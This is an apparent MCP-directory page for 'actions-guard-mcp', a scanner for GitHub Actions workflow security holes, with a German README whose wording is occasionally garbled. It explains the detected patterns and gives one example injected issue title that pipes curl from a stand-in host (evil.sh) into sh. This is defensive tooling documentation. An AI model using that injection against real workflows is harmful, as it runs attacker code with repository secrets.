Skip to main content
Glama
BerkantACUN

actions-guard-mcp

by BerkantACUN

actions-guard-mcp

Ein GitHub-Actions-Workflow-Sicherheitsscanner, bereitgestellt als MCP-Werkzeuge – damit ein Agent die „pwn Request“- und Supply-Chain-Muster erkennen kann, die echte Vorfälle verursacht haben (CoreShop, tj-actions und andere), bevor eine Workflow-Datei committet wird, nicht erst danach.

Warum es das gibt

Statische Analyse für GitHub-Actions-Workflows ist ein ausgereiftes, gut verstandenes Feld – zizmor ist ein angesehener, aktiv gepflegter Standalone-Scanner für genau das. Was es noch nicht gibt, ist ein ernsthafter MCP-Wrapper um diese Klasse von Analyse. Das eine Projekt, das eine breite Suche zutage förderte (github-security-mcp), verteilt 45 Prüfungen über Org-Einstellungen, Secrets, Supply Chain und Actions in einem einzigen generischen Werkzeug – 12 Sterne, keine Commits in 5 Monaten. Nichts konzentriert sich spezifisch und tiefgründig auf Workflow-Sicherheit – als etwas, das ein Agent aufrufen kann, während mit ihren gerade eine Workflow-Datei schreibt oder überprüft.

Related MCP server: vibecheck

Was es erkennt

  • Gefährliche Auslöser (AGMCP-101)pull_request_target oder workflow_run kombiniert mit einem Checkout-Schritt, dessen ref: oder repository: auf den eigenen Fork des auslösenden PR/Laufs verweist. Das ist exakt das Muster des Core-Vorfalls: ein Workflow, der mit dem Token und den Secrets des Basis-Repos läuft, aber Code aus dem Fork auscheckt und ausführt, der ihn ausgelöst hat.

  • Vorlageninjektion (AGMCP-102)${{ ... }}-Ausdrücke, die aus angreiferkontrolliertem Kontext aufgebaut sind (github.event.issue.title, github.event.pull_request.title, github.event.comment.body, github.head_ref, ein toJSON(github.event)-Gesamtpayload-Pumpt und ähnliches) und direkt in einen run:-Schritt interpoliert werden, statt durch env: übergeben zu werden. Die klassische Form ist run: echo "${{ github.event.issue.title }}" – ein Issue-Titel von "; curl evil.sh | sh # ist an dieser Stelle kein String, sondern Shell.

  • Nicht gepinnte Actions und wiederverwendbare Workflows (AGMCP-103)uses: owner/repo@v4 (ein Tag oder Branch, beide veränderbar) statt eines gepinnten Commit-SHA; ein Job-Level-Aufruf eines wiederverwendbaren Workflows (jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main), auf dieselbe veränderbare Weise gepinnt; oder ein docker://image:tag-Verweis, der nicht auf einen @sha256:-Digest gepinnt ist. Das ist genau die Supply-Chain-Angriffsfläche, die der tj-actions-Vorfall genutzt hat: Ein kompromittiertes Tag hat alle, die es verwendeten, auf schädlichen Code verwiesen – ohne Versionssprung.

  • Übermäßige Berechtigungen (AGMCP-104)permissions: write-all oder explizite breite write-Bereiche (contents, actions, packages, ...), gesetzt auf Workflow- oder Job-Ebene, bei einem Workflow, der auch einen riskanten Auslöser hat, wo ein engerer Bereich genügen würde.

  • Secrets, die in die Shell interpoliert werden (AGMCP-105)${{ secrets.X }} direkt in einem run:-Schritt verwendet, statt über env: übergeben zu werden; das ist unnötige Exposition des rohen Secretwerts in die Shell-Kommandozeile beziehungsweise die Prozessliste, anstatt in eine Umgebungsvariable.

Das Matching aller Markierungen (AGMCP-101/102/105) normalisiert den Klammerschreibweise-Zugriff von GitHub Actions (github.event['issue']['title']) into the äquivalente Punktform und vergleicht unter Ignorieren der Groß-/Kleinschreibung, da die Ausdruckssprache beide als identisch behandelt.

Bekannte Einschränkungen

Das ist Pattern-Matching über den literaten Text von ${{ }}- Ausausdrücken und with:/permissions:-Blöcken – kein vollständiger GitHub-Actions-Ausdruck-Parser und keine Datenflussanalyse. Ein sauberer Scan bedeutet „kein bekanntes riskiante Muster im vorliegenden Text gefunden“, keine Garantie, dass der Workflow sicher ist. Konkret:

  • Keine Schritt-übergreifende / env:-Datenflussverfolgung. Ein gefährlicher Wert, der über eine zwischengeschaltete env:-Variable oder einen Step-Output läuft, bevor er einen Checkout-ref:- oder run:-Befehl erreicht, bleibt für AGMCP-101/102/105 unsichtbar – es wird nur der literal Ausdruck in dem geprüften Feld untersucht.

  • Die Liste angreifergesteuerter Kontext-Markrer (AGMCP-102) ist eine endliche, handell gepflegte Menge, keine vollständige Aufzählung jedes Kontextpfads, den GitHub Actions ausspend. Es kann ein neues oder ungefährliches Feld geben, das noch nicht gelistest ist.

Wenn ein sauberes Ergebnis für eine Sssicherheitsentscheidung zählt, behandeln es nicht als letztes Wort – zizmor führt eine tiefere, allgemainerte statische Analyse derselben Dageienkalte aus und es ist wert, neben diesen ausgeführt zu werden, nicht statdessen.

Einrichtung

pip install actions-guard-mcp
actions-guard-mcp

Keine Konfiguration nötig – jedes Werzeug nimmt eine Workflow-Datei-Pfad oder ihren rohen YAML-Inhalt direkt entgagen.

Status

Frühe Entwicklungsstufe.

Lizenz

MIT

Install Server
A
license - permissive license
A
quality
C
maintenance

Maintenance

Maintainers
Response time
Release cycle
Releases (12mo)
Commit activity

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • A
    license
    A
    quality
    D
    maintenance
    An MCP server that enables AI agents to perform comprehensive GitHub security audits across org settings, repositories, Actions workflows, secrets, supply chain, and access control using 39 tools and 45 checks.
    39
    521
    12
    MIT
  • A
    license
    A
    quality
    B
    maintenance
    Agent-native "safe to ship?" security gate for AI-generated code. Uses real parsers and inter-rocedural taint analysis (JS/TS, Python, Go) to flag the classes AI coding agents get wrong — secrets, SQL injection, SS, SSRF, path traversal, command injection, weak JWT/CORS — and ranks findings by confidence. Exposes a scan tool over MCP.
    1
    6
    2
    MIT
  • A
    license
    A
    quality
    A
    maintenance
    Local-only GitHub Actions and CI maintenance scanner for AI-built apps. Exposes scan, explanation, and fix-planning tools to MCP clients; modifies nothing and makes no outbound requests by default.
    3
    63
    2
    MIT

View all related MCP servers

Related MCP Connectors

  • GitHub Actions workflow security audit - 21 checks: pinning, permissions, secrets, injection.

  • Scans MCP servers for tool poisoning, prompt injection and supply chain risks.

  • Screens public GitHub repos and PRs to generate risk maps, findings, and merge-readiness signals.

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/BerkantACUN/actions-guard-mcp'

If you have feedback or need assistance with the MCP directory API, please join our Discord server